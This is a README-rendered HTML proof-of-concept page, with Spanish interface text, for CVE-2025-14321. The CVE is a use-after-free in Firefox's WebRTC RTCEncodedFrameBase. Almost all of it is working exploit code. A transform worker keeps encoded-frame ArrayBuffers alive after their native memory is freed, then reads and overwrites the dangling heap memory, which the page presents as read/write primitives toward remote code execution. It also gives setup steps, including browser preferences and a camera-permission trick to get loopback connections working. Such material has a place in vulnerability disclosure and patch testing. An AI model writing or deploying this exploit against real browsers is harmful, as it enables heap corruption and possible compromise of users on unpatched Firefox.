README.md
Rendering markdown...
<!doctype html>
<html lang="es">
<head>
<meta charset="utf-8">
<title>CVE-2025-14321 PoC — RTCEncodedFrameBase UAF</title>
<style>
:root {
--bg: #0c0c0e;
--surface: #141418;
--border: #1e1e24;
--text: #c8c8d0;
--dim: #6a6a78;
--accent: #e04040;
--green: #40c080;
--cyan: #50b0d0;
--yellow: #d0a830;
--mono: 'SF Mono', 'Cascadia Code', 'Fira Code', 'JetBrains Mono', Consolas, monospace;
}
* { box-sizing: border-box; margin: 0; padding: 0; }
body {
font-family: var(--mono);
background: var(--bg);
color: var(--text);
padding: 24px;
line-height: 1.5;
min-height: 100vh;
}
.header {
border-bottom: 1px solid var(--border);
padding-bottom: 16px;
margin-bottom: 20px;
}
.header h1 {
font-size: 18px;
font-weight: 600;
color: var(--accent);
letter-spacing: -0.3px;
}
.header .subtitle {
font-size: 12px;
color: var(--dim);
margin-top: 4px;
}
.header .version-line {
font-size: 12px;
margin-top: 8px;
}
.grid {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 16px;
margin-bottom: 16px;
}
@media (max-width: 800px) {
.grid { grid-template-columns: 1fr; }
}
.panel {
background: var(--surface);
border: 1px solid var(--border);
border-radius: 6px;
padding: 14px;
}
.panel-title {
font-size: 11px;
text-transform: uppercase;
letter-spacing: 1px;
color: var(--dim);
margin-bottom: 10px;
}
.stat-row {
display: flex;
justify-content: space-between;
font-size: 12px;
padding: 4px 0;
border-bottom: 1px solid var(--border);
}
.stat-row:last-child { border-bottom: none; }
.stat-label { color: var(--dim); }
.stat-value { color: var(--text); font-weight: 500; }
.stat-value.ok { color: var(--green); }
.stat-value.warn { color: var(--yellow); }
.stat-value.bad { color: var(--accent); }
#startBtn {
background: var(--accent);
color: #fff;
border: none;
padding: 10px 20px;
font-family: var(--mono);
font-size: 13px;
font-weight: 600;
cursor: pointer;
border-radius: 4px;
margin-bottom: 16px;
transition: opacity 0.15s;
}
#startBtn:hover { opacity: 0.85; }
#startBtn:disabled { background: #333; color: #666; cursor: not-allowed; }
.status-bar {
font-size: 12px;
padding: 8px 12px;
border-radius: 4px;
margin-bottom: 16px;
border: 1px solid var(--border);
background: var(--surface);
}
.status-bar.idle { border-left: 3px solid var(--dim); }
.status-bar.running { border-left: 3px solid var(--yellow); }
.status-bar.detected { border-left: 3px solid var(--accent); animation: pulse 1.5s ease infinite; }
.status-bar.pass { border-left: 3px solid var(--green); }
@keyframes pulse { 0%, 100% { opacity: 1; } 50% { opacity: 0.7; } }
#log {
background: var(--surface);
border: 1px solid var(--border);
border-radius: 6px;
padding: 12px;
max-height: 500px;
overflow-y: auto;
font-size: 11px;
line-height: 1.6;
}
.log-line { white-space: pre-wrap; word-break: break-all; }
.log-line .ts { color: var(--dim); }
.log-line.info { color: var(--text); }
.log-line.ok { color: var(--green); }
.log-line.leak { color: var(--cyan); }
.log-line.uaf {
color: var(--accent);
font-weight: 600;
background: rgba(224, 64, 64, 0.08);
padding: 2px 4px;
border-radius: 2px;
}
.log-line.err { color: var(--accent); }
.note {
font-size: 11px;
color: var(--dim);
margin-top: 16px;
padding-top: 12px;
border-top: 1px solid var(--border);
line-height: 1.6;
}
</style>
</head>
<body>
<div class="header">
<h1>CVE-2025-14321 — RTCEncodedFrameBase Use-After-Free</h1>
<div class="subtitle">WebRTC Encoded Transforms · Undetached ArrayBuffer · Firefox < 146 / ESR < 140.6</div>
<div class="version-line">
Navegador: <span id="browserInfo">—</span> ·
Estado: <span id="vulnStatus">—</span>
</div>
</div>
<button id="startBtn">Iniciar PoC</button>
<div id="statusBar" class="status-bar idle">Esperando inicio… (se pedirá permiso de cámara para ICE)</div>
<div class="grid">
<div class="panel">
<div class="panel-title">Estado del Exploit</div>
<div class="stat-row"><span class="stat-label">WebRTC</span><span id="sWebrtc" class="stat-value">—</span></div>
<div class="stat-row"><span class="stat-label">RTCRtpScriptTransform</span><span id="sTransform" class="stat-value">—</span></div>
<div class="stat-row"><span class="stat-label">Peer Connection</span><span id="sPc" class="stat-value">—</span></div>
<div class="stat-row"><span class="stat-label">Transform Worker</span><span id="sWorker" class="stat-value">—</span></div>
<div class="stat-row"><span class="stat-label">Frames procesados</span><span id="sFrames" class="stat-value">0</span></div>
</div>
<div class="panel">
<div class="panel-title">Primitivas UAF</div>
<div class="stat-row"><span class="stat-label">ArrayBuffers retenidos</span><span id="sLeaks" class="stat-value">0 / 200</span></div>
<div class="stat-row"><span class="stat-label">Fase</span><span id="sPhase" class="stat-value">—</span></div>
<div class="stat-row"><span class="stat-label">Cambios memoria</span><span id="sChanges" class="stat-value">0</span></div>
<div class="stat-row"><span class="stat-label">Último leak hex</span><span id="sLastHex" class="stat-value">—</span></div>
</div>
</div>
<div id="log"></div>
<div class="note">
<strong>Root cause:</strong> RTCEncodedFrameBase expone memoria nativa como ArrayBuffer vía
<code>NewArrayBufferWithUserOwnedContents()</code>, pero el destructor no llama
<code>DetachArrayBuffer()</code>. El ArrayBuffer sobrevive al backing store nativo → dangling
pointer → read/write primitives sobre heap liberado.<br>
<strong>Ref:</strong> Bug 1992760 · MFSA 2025-92 · Fix: DetachData() en todos los teardown paths.<br>
<strong>Prefs requeridas en about:config:</strong>
<code style="background:#1e1e24;padding:2px 6px;border-radius:3px;">media.peerconnection.scripttransform.enabled = true</code> ·
<code style="background:#1e1e24;padding:2px 6px;border-radius:3px;">media.peerconnection.ice.loopback = true</code><br>
<strong>Uso:</strong>
<code style="background:#1e1e24;padding:2px 6px;border-radius:3px;">python3 -m http.server 8080</code>
→ <code>http://localhost:8080/poc-cve-2025-14321.html</code> → Aceptar permiso de cámara
</div>
<script>
// ── Browser detection ──
const ffMatch = navigator.userAgent.match(/Firefox\/(\d+(?:\.\d+)*)/);
const browserEl = document.getElementById('browserInfo');
const vulnEl = document.getElementById('vulnStatus');
if (ffMatch) {
const ver = parseFloat(ffMatch[1]);
browserEl.textContent = `Firefox ${ffMatch[1]}`;
if (ver >= 146) {
vulnEl.textContent = 'PARCHEADO ✓';
vulnEl.style.color = 'var(--green)';
} else {
vulnEl.textContent = 'VULNERABLE';
vulnEl.style.color = 'var(--accent)';
}
} else {
browserEl.textContent = navigator.userAgent.split(' ').pop();
vulnEl.textContent = 'No Firefox — requiere Firefox < 146';
vulnEl.style.color = 'var(--yellow)';
}
// ── Logging ──
const logDiv = document.getElementById('log');
let t0;
function log(msg, cls = 'info') {
if (!t0) t0 = performance.now();
const ts = ((performance.now() - t0) / 1000).toFixed(1);
const line = document.createElement('div');
line.className = `log-line ${cls}`;
line.innerHTML = `<span class="ts">[${ts}s]</span> ${msg}`;
logDiv.appendChild(line);
logDiv.scrollTop = logDiv.scrollHeight;
}
const stat = (id, val, cls) => {
const el = document.getElementById(id);
el.textContent = val;
el.className = `stat-value${cls ? ' ' + cls : ''}`;
};
const setStatus = (msg, cls) => {
const bar = document.getElementById('statusBar');
bar.textContent = msg;
bar.className = `status-bar ${cls}`;
};
// ── API checks ──
const hasTransform = typeof RTCRtpScriptTransform !== 'undefined';
stat('sWebrtc', typeof RTCPeerConnection !== 'undefined' ? 'OK' : 'No',
typeof RTCPeerConnection !== 'undefined' ? 'ok' : 'bad');
stat('sTransform', hasTransform ? 'OK' : 'No disponible', hasTransform ? 'ok' : 'bad');
if (!hasTransform) {
setStatus('RTCRtpScriptTransform no disponible — about:config → media.peerconnection.scripttransform.enabled = true', 'idle');
document.getElementById('startBtn').disabled = true;
}
if (location.protocol === 'file:') {
log('⚠ Abierto desde file:// — servir por HTTP:', 'err');
log(' python3 -m http.server 8080', 'info');
log('', 'info');
}
// ── Inline worker source ──
const WORKER_SRC = `
const leaks = [];
const MAX = 200;
let frameCount = 0;
let changeCount = 0;
function hex16(buf) {
try {
const u8 = new Uint8Array(buf);
return [...u8.slice(0, 16)].map(b => b.toString(16).padStart(2, '0')).join('');
} catch { return 'DETACHED'; }
}
function refillAndCheck() {
for (let i = 0; i < leaks.length; i++) {
try {
const u8 = new Uint8Array(leaks[i]);
for (let j = 0; j < Math.min(16, u8.length); j++) {
if (u8[j] !== 0x41) {
changeCount++;
self.postMessage({ type: 'change', idx: i, hex: hex16(leaks[i]), count: changeCount });
break;
}
}
u8.fill(0x41);
} catch (e) {
self.postMessage({ type: 'detached', idx: i });
}
}
}
self.addEventListener('rtctransform', (event) => {
self.postMessage({ type: 'transform_init' });
const { readable } = event.transformer;
readable.pipeTo(new WritableStream({
write(frame) {
frameCount++;
const buf = frame.data;
if (frameCount === 1 || frameCount % 100 === 0) {
self.postMessage({ type: 'frame', count: frameCount });
}
if (leaks.length < MAX) {
leaks.push(buf);
try { new Uint8Array(buf).fill(0x41); } catch (e) {}
self.postMessage({
type: 'leak',
idx: leaks.length - 1,
size: buf.byteLength,
hex: hex16(buf),
total: leaks.length
});
// Do NOT forward frame -> wrapper GC'd -> native freed -> dangling ArrayBuffer
return;
}
if (frameCount % 3 === 0) refillAndCheck();
}
})).catch(e => {
self.postMessage({ type: 'error', msg: e.toString() });
});
});
`;
// ── Main PoC logic ──
document.getElementById('startBtn').onclick = async function () {
this.disabled = true;
t0 = performance.now();
let changeCount = 0;
try {
// ════════════════════════════════════════════════════════════════
// KEY INSIGHT: Firefox uses RFC draft-ietf-rtcweb-ip-handling
// mode 2 (restricted) when NO mic/camera permissions are granted.
// In mode 2, host candidates (including loopback) are filtered.
//
// Calling getUserMedia() promotes Firefox to mode 1, which allows
// proper ICE candidate gathering including host candidates needed
// for loopback connections.
//
// See: Bug 1659672 - WebRTC ICE gathering fails in LAN
// See: RFC draft-ietf-rtcweb-ip-handling section 5.2
// ════════════════════════════════════════════════════════════════
setStatus('Solicitando permiso de cámara (necesario para ICE loopback)…', 'running');
log('Paso 1: Solicitando getUserMedia (video)', 'info');
log('Firefox requiere permisos de cámara para generar candidatos', 'info');
log('ICE host en conexiones loopback (RFC IP handling mode 1)', 'info');
log('', 'info');
let cameraStream = null;
let useCamera = false;
try {
cameraStream = await navigator.mediaDevices.getUserMedia({
video: { width: 320, height: 240, frameRate: 30 },
audio: false
});
useCamera = true;
log('✓ getUserMedia concedido — ICE modo 1 activo', 'ok');
} catch (e) {
log(`⚠ getUserMedia denegado: ${e.message}`, 'err');
log('Sin permisos de cámara, ICE puede fallar en loopback', 'err');
log('', 'info');
}
// Prepare canvas stream (used to generate predictable encoded frames)
const canvas = document.createElement('canvas');
canvas.width = 320;
canvas.height = 240;
const ctx = canvas.getContext('2d');
let tick = 0;
function draw() {
tick++;
ctx.fillStyle = `hsl(${tick % 360}, 80%, 50%)`;
ctx.fillRect(0, 0, canvas.width, canvas.height);
ctx.fillStyle = '#fff';
ctx.font = '14px monospace';
ctx.fillText(`fr ${tick}`, 10, 20);
for (let i = 0; i < 10; i++) {
ctx.fillStyle = `hsl(${(tick * 7 + i * 36) % 360}, 70%, 60%)`;
ctx.fillRect(
Math.sin(tick * 0.1 + i) * 100 + 160,
Math.cos(tick * 0.1 + i) * 60 + 120, 30, 30
);
}
requestAnimationFrame(draw);
}
draw();
const canvasStream = canvas.captureStream(30);
const canvasTrack = canvasStream.getVideoTracks()[0];
// Use camera track for initial setup (triggers ICE mode 1),
// then replace with canvas track after ICE connects
const initialTrack = useCamera ? cameraStream.getVideoTracks()[0] : canvasTrack;
log(`✓ Track inicial: ${useCamera ? 'cámara (para ICE mode 1)' : 'canvas (fallback)'}`, 'ok');
// ── Step 2: Create worker ──
setStatus('Iniciando worker…', 'running');
const blob = new Blob([WORKER_SRC], { type: 'application/javascript' });
const workerUrl = URL.createObjectURL(blob);
const senderWorker = new Worker(workerUrl);
URL.revokeObjectURL(workerUrl);
stat('sWorker', 'OK', 'ok');
log('✓ Worker creado', 'ok');
// ── Worker message handler ──
function handleWorkerMsg(e) {
const d = e.data;
if (d.type === 'transform_init') {
log('✓ rtctransform event recibido en worker', 'ok');
}
else if (d.type === 'frame') {
stat('sFrames', d.count);
if (d.count === 1) {
log('', 'info');
log('▶▶▶ ¡PRIMER FRAME ENCODED RECIBIDO! ◀◀◀', 'ok');
log('El encoder está produciendo frames y el transform los intercepta', 'ok');
log('', 'info');
stat('sPhase', 'Recolectando buffers', 'warn');
}
}
else if (d.type === 'leak') {
stat('sLeaks', `${d.total} / 200`);
stat('sLastHex', d.hex.substring(0, 24) + '…');
if (d.total === 1 || d.total % 50 === 0 || d.total === 200) {
log(`Leak #${d.idx}: ${d.size}B → ${d.hex}`, 'leak');
}
if (d.total === 200) {
setStatus('200 buffers retenidos — monitoreando memoria liberada…', 'running');
stat('sPhase', 'Esperando reuso de memoria', 'warn');
log('━'.repeat(50), 'info');
log('200 ArrayBuffers retenidos → memoria nativa YA liberada', 'ok');
log('Frame wrappers destruidos sin DetachArrayBuffer()', 'info');
log('→ Dangling pointers activos, esperando reuso…', 'info');
log('━'.repeat(50), 'info');
}
}
else if (d.type === 'change') {
changeCount = d.count;
stat('sChanges', changeCount, 'bad');
stat('sPhase', 'UAF CONFIRMADO', 'bad');
setStatus(`UAF DETECTADO — ${changeCount} cambios de memoria`, 'detected');
log(`🔴 UAF #${d.count} en buffer[${d.idx}]: ${d.hex}`, 'uaf');
if (d.count === 1) {
log('', 'info');
log('╔══════════════════════════════════════════════╗', 'uaf');
log('║ USE-AFTER-FREE CONFIRMADO ║', 'uaf');
log('║ ║', 'uaf');
log('║ ArrayBuffer → memoria liberada reasignada ║', 'uaf');
log('║ ║', 'uaf');
log('║ READ: Uint8Array(buf) lee datos ajenos ║', 'uaf');
log('║ WRITE: .fill(0x41) corrompe heap → RCE ║', 'uaf');
log('╚══════════════════════════════════════════════╝', 'uaf');
}
}
else if (d.type === 'detached') {
stat('sPhase', 'Buffer detached (parcheado)', 'ok');
setStatus('ArrayBuffer detached — versión parcheada ✓', 'pass');
log(`✓ Buffer[${d.idx}] detached correctamente — fix activo`, 'ok');
}
else if (d.type === 'error') {
log(`✗ Worker: ${d.msg}`, 'err');
}
}
senderWorker.onmessage = handleWorkerMsg;
senderWorker.onerror = e => log(`Worker error: ${e.message}`, 'err');
// ── Step 3: WebRTC peer connections ──
setStatus('Estableciendo conexión WebRTC loopback…', 'running');
log('Paso 3: Creando RTCPeerConnections (loopback local)', 'info');
const pc1 = new RTCPeerConnection();
const pc2 = new RTCPeerConnection();
stat('sPc', 'Creadas', 'ok');
let iceConnected = false;
function monitorIce(pc, label) {
pc.oniceconnectionstatechange = () => {
const st = pc.iceConnectionState;
const ok = st === 'connected' || st === 'completed';
log(`ICE ${label}: ${st}`, ok ? 'ok' : st === 'failed' ? 'err' : 'info');
if (ok && !iceConnected) {
iceConnected = true;
stat('sPc', 'ICE conectado ✓', 'ok');
setStatus('ICE conectado — frames fluyendo al transform…', 'running');
log('', 'info');
log('✓ ¡CONEXIÓN ICE ESTABLECIDA!', 'ok');
log('El encoder empezará a enviar frames al transform pipeline', 'ok');
log('', 'info');
// Once ICE is connected and we used camera, swap to canvas
if (useCamera && canvasTrack !== initialTrack) {
setTimeout(async () => {
try {
await transceiver.sender.replaceTrack(canvasTrack);
log('✓ Track reemplazado: cámara → canvas', 'ok');
cameraStream.getTracks().forEach(t => t.stop());
log('✓ Cámara detenida', 'ok');
} catch (e) {
log(`replaceTrack: ${e.message} (no afecta exploit)`, 'err');
}
}, 1000);
}
}
};
}
monitorIce(pc1, 'pc1→pc2');
monitorIce(pc2, 'pc2→pc1');
// Exchange ICE candidates between peers
let candCount1 = 0, candCount2 = 0;
pc1.onicecandidate = e => {
if (e.candidate) {
candCount1++;
log(`pc1 cand #${candCount1}: ${e.candidate.candidate.substring(0, 70)}`, 'info');
pc2.addIceCandidate(e.candidate).catch(() => {});
} else {
log(`pc1 ICE gathering completo (${candCount1} candidatos)`, candCount1 > 0 ? 'ok' : 'err');
}
};
pc2.onicecandidate = e => {
if (e.candidate) {
candCount2++;
log(`pc2 cand #${candCount2}: ${e.candidate.candidate.substring(0, 70)}`, 'info');
pc1.addIceCandidate(e.candidate).catch(() => {});
} else {
log(`pc2 ICE gathering completo (${candCount2} candidatos)`, candCount2 > 0 ? 'ok' : 'err');
}
};
// Add track and assign sender transform IMMEDIATELY
const transceiver = pc1.addTransceiver(initialTrack, { direction: 'sendrecv' });
transceiver.sender.transform = new RTCRtpScriptTransform(senderWorker, { role: 'sender' });
log('✓ Transform asignado al sender (pre-negociación)', 'ok');
// pc2 receives track
pc2.ontrack = () => log('✓ pc2.ontrack — media negociada', 'ok');
// ── Step 4: SDP negotiation (standard trickle ICE) ──
log('Paso 4: Negociación SDP…', 'info');
const offer = await pc1.createOffer();
await pc1.setLocalDescription(offer);
await pc2.setRemoteDescription(offer);
const answer = await pc2.createAnswer();
await pc2.setLocalDescription(answer);
await pc1.setRemoteDescription(answer);
log('✓ SDP offer/answer intercambiado', 'ok');
log('Esperando conexión ICE (trickle candidates)…', 'info');
// ── Timeout fallback ──
setTimeout(() => {
if (!iceConnected) {
const s1 = pc1.iceConnectionState;
const s2 = pc2.iceConnectionState;
log('', 'info');
log(`Estado ICE tras 15s: pc1=${s1}, pc2=${s2}`, 'err');
log(`Candidatos: pc1=${candCount1}, pc2=${candCount2}`, 'info');
if (candCount1 === 0 && candCount2 === 0) {
log('', 'info');
log('╔═══════════════════════════════════════════════════╗', 'err');
log('║ 0 CANDIDATOS ICE GENERADOS ║', 'err');
log('║ ║', 'err');
if (!useCamera) {
log('║ ⚠ No se concedió permiso de cámara ║', 'err');
log('║ Firefox NECESITA getUserMedia para generar ║', 'err');
log('║ candidatos ICE en loopback (RFC IP mode 1) ║', 'err');
log('║ ║', 'err');
log('║ → Recargar y ACEPTAR permiso de cámara ║', 'err');
} else {
log('║ Cámara concedida pero 0 candidatos. ║', 'err');
log('║ Verificar en about:config: ║', 'err');
log('║ ║', 'err');
log('║ media.peerconnection.ice.loopback = true ║', 'err');
log('║ media.peerconnection.ice.no_host = false ║', 'err');
log('║ media.peerconnection.ice.relay_only = false ║', 'err');
log('║ media.peerconnection.ice.proxy_only = false ║', 'err');
log('║ media.peerconnection.ice.default_address_only ║', 'err');
log('║ = false ║', 'err');
log('║ ║', 'err');
log('║ ⚠ REINICIAR Firefox tras cambiar prefs ║', 'err');
log('║ ⚠ Probar perfil limpio: firefox -P "test" ║', 'err');
}
log('╚═══════════════════════════════════════════════════╝', 'err');
}
stat('sPc', 'ICE fallido', 'bad');
setStatus('ICE no conecta — ver instrucciones en log', 'idle');
}
}, 15000);
} catch (e) {
setStatus(`Error: ${e.message}`, 'idle');
log(`✗ ${e.message}`, 'err');
console.error(e);
}
};
</script>
</body>
</html>